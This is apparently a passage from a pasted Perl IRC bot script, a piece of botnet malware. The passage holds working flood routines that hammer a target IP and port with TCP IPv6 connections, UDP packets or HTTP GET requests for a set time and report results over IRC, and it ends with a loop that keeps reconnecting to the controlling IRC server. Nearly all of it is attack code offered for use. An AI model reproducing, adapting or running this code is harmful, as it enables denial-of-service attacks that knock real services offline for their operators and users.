  1425.    irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Finished.");
  1426. }
  1427.  
  1428. ## here IPv6 flooderrr
  1429. sub tcp6 {
  1430.    irc::raw("PRIVMSG $_[0] :\002[TCP IPV6-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
  1431.    $s_time = time;
  1432.    my @SOCKET6;
  1433.    while($_[3] > (time - $s_time)) {
  1434.         for(my $i=0;$i<200;$i++) {
  1435.            socket6($SOCKET6[$i], PF_INET6, SOCK_STREAM, getprotobyname('tcp'));
  1436.            fcntl($SOCKET6[$i], F_SETFL(), O_NONBLOCK());
  1437.        }
  1438.        for(my $i=0;$i<200;$i++) {
  1439.            connect($SOCKET6[$i], sockaddr_in6(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
  1440.        }
  1441.        for(my $i=0;$i<200;$i++) {
  1442.            close($SOCKET6[$i]);
  1443.        }
  1444.    }
  1445.    irc::raw("PRIVMSG $_[0] :\002[TCP IPV6-DDOS]\002 Finished.");
  1446. }
  1447.  
  1448. sub udp {
  1449.    irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
  1450.    $s_time = time;
  1451.    my $socket;
  1452.    my $packets = 0;
  1453.    socket($socket, PF_INET, SOCK_DGRAM, 17);
  1454.    while($_[3] > (time - $s_time)) {
  1455.         send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
  1456.         $packets++;
  1457.     }
  1458.     close($socket);
  1459.     irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Sent ".$packets." packets.");
  1460. }
  1461.  
  1462. sub http {
  1463.     irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Attacking ".$_[1].":80 for ".$_[2]."'Seconds.");
  1464.     $s_time = time;
  1465.     my $querys = 0;
  1466.     while ($_[2] > (time - $s_time)) {
  1467.         my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$_[1], PeerPort=>80);
  1468.         print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1469.         close($socket);
  1470.         $querys++;
  1471.     }
  1472.     irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Sent ".$querys." querys.");
  1473. }
  1474.  
  1475. while(1) { if(irc::init(irc::mnick($conf{nicklen}, $conf{fnick}), $conf{fircname}, $conf{frealname}, $conf{server}, $conf{port})) { irc::loop(); } sleep 30; }
Add Comment
Please, Sign In to add comment